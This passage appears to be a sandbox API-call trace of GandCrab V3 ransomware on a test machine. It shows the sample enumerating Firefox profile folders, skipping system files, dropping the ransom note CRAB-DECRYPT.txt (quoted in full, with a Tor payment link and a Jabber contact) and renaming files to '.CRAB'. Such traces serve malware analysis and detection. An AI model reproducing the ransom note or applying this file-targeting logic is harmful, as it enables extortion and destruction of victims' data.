	[0120.432] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\CRAB-DECRYPT.txt") returned 96
	[0120.432] lstrlenW (lpString=".txt") returned 4
	[0120.432] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0120.433] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0120.433] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.433] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\CRAB-DECRYPT.txt") returned 96
	[0120.433] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\CRAB-DECRYPT.txt") returned 96
	[0120.433] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0120.433] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0120.433] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0120.433] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0120.433] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0120.433] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0120.433] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0120.433] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0120.433] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0120.433] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.433] FindNextFileW (in: hFindFile=0xded3e8, lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 1
	[0120.433] lstrcmpW (lpString1="crashes", lpString2=".") returned 1
	[0120.433] lstrcmpW (lpString1="crashes", lpString2="..") returned 1
	[0120.433] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\", lpString2="crashes" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\crashes") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\crashes"
	[0120.434] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\crashes", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\crashes\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\crashes\\"
	[0120.434] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0120.434] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0120.434] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0120.434] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0120.434] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0120.434] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.434] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x31494c8, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0120.434] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0120.434] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\crashes\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0120.434] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x3148cb0, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0120.434] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0120.434] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\crashes\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0120.434] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0120.435] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\crashes\\\\CRAB-DECRYPT.txt") returned 105
	[0120.435] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\crashes\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\crashes\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e0
	[0120.436] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0120.436] WriteFile (in: hFile=0x3e0, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x31494ac, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x31494ac*=0xcce, lpOverlapped=0x0) returned 1
	[0120.436] CloseHandle (hObject=0x3e0) returned 1
	[0120.437] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.437] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\crashes\\") returned 88
	[0120.437] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\crashes\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\crashes\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\crashes\\*"
	[0120.437] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\crashes\\*", lpFindFileData=0x3149cc8 | out: lpFindFileData=0x3149cc8) returned 0x3165e98
	[0120.437] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0120.437] FindNextFileW (in: hFindFile=0x3165e98, lpFindFileData=0x3149cc8 | out: lpFindFileData=0x3149cc8) returned 1
	[0120.437] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0120.437] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0120.437] FindNextFileW (in: hFindFile=0x3165e98, lpFindFileData=0x3149cc8 | out: lpFindFileData=0x3149cc8) returned 1
	[0120.437] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0120.437] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0120.437] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\crashes\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\crashes\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\crashes\\CRAB-DECRYPT.txt"
	[0120.437] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0120.438] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\crashes\\CRAB-DECRYPT.txt") returned 104
	[0120.438] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\crashes\\CRAB-DECRYPT.txt") returned 104
	[0120.438] lstrlenW (lpString=".txt") returned 4
	[0120.438] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0120.438] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0120.438] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.438] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\crashes\\CRAB-DECRYPT.txt") returned 104
	[0120.438] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\crashes\\CRAB-DECRYPT.txt") returned 104
	[0120.438] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0120.438] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0120.438] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0120.438] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0120.438] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0120.438] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0120.439] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0120.439] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0120.439] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0120.439] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.439] FindNextFileW (in: hFindFile=0x3165e98, lpFindFileData=0x3149cc8 | out: lpFindFileData=0x3149cc8) returned 1
	[0120.439] lstrcmpW (lpString1="events", lpString2=".") returned 1
	[0120.439] lstrcmpW (lpString1="events", lpString2="..") returned 1
	[0120.439] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\crashes\\", lpString2="events" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\crashes\\events") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\crashes\\events"
	[0120.439] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\crashes\\events", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\crashes\\events\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\crashes\\events\\"
	[0120.439] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0120.439] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0120.439] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0120.439] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0120.439] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0120.439] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.440] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x3148a20, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0120.440] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0120.440] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\crashes\\events\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0120.440] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x3148208, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0120.440] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0120.440] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\crashes\\events\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0120.440] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0120.441] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\crashes\\events\\\\CRAB-DECRYPT.txt") returned 112
	[0120.441] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\crashes\\events\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\crashes\\events\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d8
	[0120.441] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0120.441] WriteFile (in: hFile=0x3d8, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x3148a04, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x3148a04*=0xcce, lpOverlapped=0x0) returned 1
	[0120.442] CloseHandle (hObject=0x3d8) returned 1
	[0120.442] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.443] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\crashes\\events\\") returned 95
	[0120.443] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\crashes\\events\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\crashes\\events\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\crashes\\events\\*"
	[0120.443] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\crashes\\events\\*", lpFindFileData=0x3149220 | out: lpFindFileData=0x3149220) returned 0x3165918
	[0120.443] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0120.443] FindNextFileW (in: hFindFile=0x3165918, lpFindFileData=0x3149220 | out: lpFindFileData=0x3149220) returned 1
	[0120.443] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0120.443] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0120.443] FindNextFileW (in: hFindFile=0x3165918, lpFindFileData=0x3149220 | out: lpFindFileData=0x3149220) returned 1
	[0120.443] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0120.443] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0120.443] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\crashes\\events\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\crashes\\events\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\crashes\\events\\CRAB-DECRYPT.txt"
	[0120.443] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0120.444] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\crashes\\events\\CRAB-DECRYPT.txt") returned 111
	[0120.444] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\crashes\\events\\CRAB-DECRYPT.txt") returned 111
	[0120.444] lstrlenW (lpString=".txt") returned 4
	[0120.444] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0120.444] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0120.444] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.444] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\crashes\\events\\CRAB-DECRYPT.txt") returned 111
	[0120.444] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\crashes\\events\\CRAB-DECRYPT.txt") returned 111
	[0120.444] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0120.444] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0120.444] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0120.444] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0120.444] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0120.444] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0120.444] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0120.444] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0120.444] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0120.444] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.445] FindNextFileW (in: hFindFile=0x3165918, lpFindFileData=0x3149220 | out: lpFindFileData=0x3149220) returned 0
	[0120.445] FindClose (in: hFindFile=0x3165918 | out: hFindFile=0x3165918) returned 1
	[0120.446] FindNextFileW (in: hFindFile=0x3165e98, lpFindFileData=0x3149cc8 | out: lpFindFileData=0x3149cc8) returned 1
	[0120.446] lstrcmpW (lpString1="store.json.mozlz4", lpString2=".") returned 1
	[0120.446] lstrcmpW (lpString1="store.json.mozlz4", lpString2="..") returned 1
	[0120.446] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\crashes\\", lpString2="store.json.mozlz4" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\crashes\\store.json.mozlz4") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\crashes\\store.json.mozlz4"
	[0120.446] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0120.446] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\crashes\\store.json.mozlz4") returned 105
	[0120.446] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\crashes\\store.json.mozlz4") returned 105
	[0120.446] lstrlenW (lpString=".mozlz4") returned 7
	[0120.446] VirtualAlloc (lpAddress=0x0, dwSize=0x12, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0120.446] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".mozlz4 ") returned 8
	[0120.446] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.447] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\crashes\\store.json.mozlz4") returned 105
	[0120.447] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\crashes\\store.json.mozlz4") returned 105
	[0120.447] lstrcmpiW (lpString1="store.json.mozlz4", lpString2="desktop.ini") returned 1
	[0120.447] lstrcmpiW (lpString1="store.json.mozlz4", lpString2="autorun.inf") returned 1
	[0120.447] lstrcmpiW (lpString1="store.json.mozlz4", lpString2="ntuser.dat") returned 1
	[0120.447] lstrcmpiW (lpString1="store.json.mozlz4", lpString2="iconcache.db") returned 1
	[0120.447] lstrcmpiW (lpString1="store.json.mozlz4", lpString2="bootsect.bak") returned 1
	[0120.447] lstrcmpiW (lpString1="store.json.mozlz4", lpString2="boot.ini") returned 1
	[0120.447] lstrcmpiW (lpString1="store.json.mozlz4", lpString2="ntuser.dat.log") returned 1
	[0120.447] lstrcmpiW (lpString1="store.json.mozlz4", lpString2="thumbs.db") returned -1
	[0120.447] lstrcmpiW (lpString1="store.json.mozlz4", lpString2="CRAB-DECRYPT.txt") returned 1
	[0120.447] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0120.447] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\crashes\\store.json.mozlz4.CRAB") returned 110
	[0120.447] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\crashes\\store.json.mozlz4" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\crashes\\store.json.mozlz4")) returned 0x20
	[0120.448] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\crashes\\store.json.mozlz4", dwFileAttributes=0x20) returned 1
	[0120.449] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\crashes\\store.json.mozlz4" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\crashes\\store.json.mozlz4"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\crashes\\store.json.mozlz4.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\crashes\\store.json.mozlz4.crab")) returned 1
	[0120.450] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
